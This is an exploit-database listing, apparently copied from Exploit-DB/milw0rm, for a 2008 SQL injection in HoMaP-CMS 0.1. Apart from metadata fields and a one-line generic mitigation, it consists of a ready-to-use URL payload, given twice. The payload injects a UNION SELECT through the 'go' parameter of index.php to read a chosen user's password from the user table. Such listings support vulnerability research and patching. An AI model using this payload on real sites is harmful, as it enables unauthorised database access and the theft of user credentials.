header-logo
Suggest Exploit
vendor:
HoMaP-CMS
by:
SxCx
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: HoMaP-CMS
Affected Version From: 0.1
Affected Version To: 0.1
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

HoMaP-CMS 0.1 (index.php go) SQL Injection Vulnerability

index.php?go=0'+union+select+passwd+from+user+where+username=[USERNAME]

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.
Source

Exploit-DB raw data:

--------------------------------------------------------------------------------------------------------------------------------
// HoMaP-CMS 0.1 (index.php go) SQL Injection Vulnerability
// Author: SxCx
// Download: SourceForge.net
// Version affected: 0.1
// Exploit: index.php?go=0'+union+select+passwd+from+user+where+username=[USERNAME]
--------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-06-23]